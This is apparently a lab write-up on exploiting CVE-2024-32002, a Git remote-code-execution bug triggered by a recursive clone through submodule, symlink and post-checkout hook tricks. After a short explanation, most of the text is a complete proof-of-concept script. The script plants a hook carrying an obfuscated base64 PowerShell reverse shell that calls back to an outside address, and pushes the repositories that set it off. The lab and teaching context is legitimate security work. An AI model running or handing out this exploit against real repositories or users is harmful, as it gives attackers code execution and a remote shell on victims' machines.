GIT RCE via git clone
CVE-2024-32002 | Submodule | Hook | Symlink | post-checkout |
CVE-2024-32002 is a Remote Code Execution (RCE) vulnerability in Git submodules. The provided exploit demonstrates how a malicious payload (leading to RCE) can be triggered via a recursive clone of a Git repository.
This post showcases the exploit for a git RCE where its being fooled to overwrite the post checkout hook script and execute commands.
How does it work?
Also check: https://www.vicarius.io/vsociety/posts/exploiting-git-rce-cve-2024-3200. The bug lies in the case-insensitive file systems treating paths like A/modules/x
and a/modulesx
as identical. Because of this we can craft a malicious symlink with the a submodule. If we name the symlink with a case variaton of the submodule's path like A/modules/x
but pointing it to the submodule's hidden .git directory.
symlink
A pointer or path to the target file or directory
submodule
Include another Git repository as a subdirectory within your main repository
hooks
custom scripts that run automatically or after a push
post-checkout
A post-checkout hook is a script that runs automatically after a git checkout
command
commit
Git commit saves changes to the repository
In repo1 we save the post-checkout with our payload . Which we chmod in our script to make it executable.

In repo 2 add submodule x/y
, pull repo1 and place submodule in A/modules/x
.

Finally we create a
symlink which points to .git which references Git repository's metadata directory. Its now possible to run hook scripts from repo1 by calling repo2 and will run scripts from the core Git repository, the .git
directory.

Running the exploit
Got this script from https://github.com/safebuffer/CVE-2024-32002/blob/main/poc.sh.
#!/bin/bash
# Set Git configuration
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, to avoid the warning message
git config --global init.defaultBranch main
# Initialize the repo1
git clone http://compiled.htb:3000/mczen/repo1.git
cd repo1
mkdir -p y/hooks
# Payload
cat > y/hooks/post-checkout <<EOF
#!bin/sh.exe
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
EOF
# Make the hook executable
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
cd ..
# Initialize repo2
git clone http://compiled.htb:3000/mczen/repo2.git
cd repo2
git submodule add --name x/y "http://compiled.htb:3000/mczen/repo1.git" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
git push
git clone --recursive http://compiled.htb:3000/mczen/repo2.git
Last updated
Was this helpful?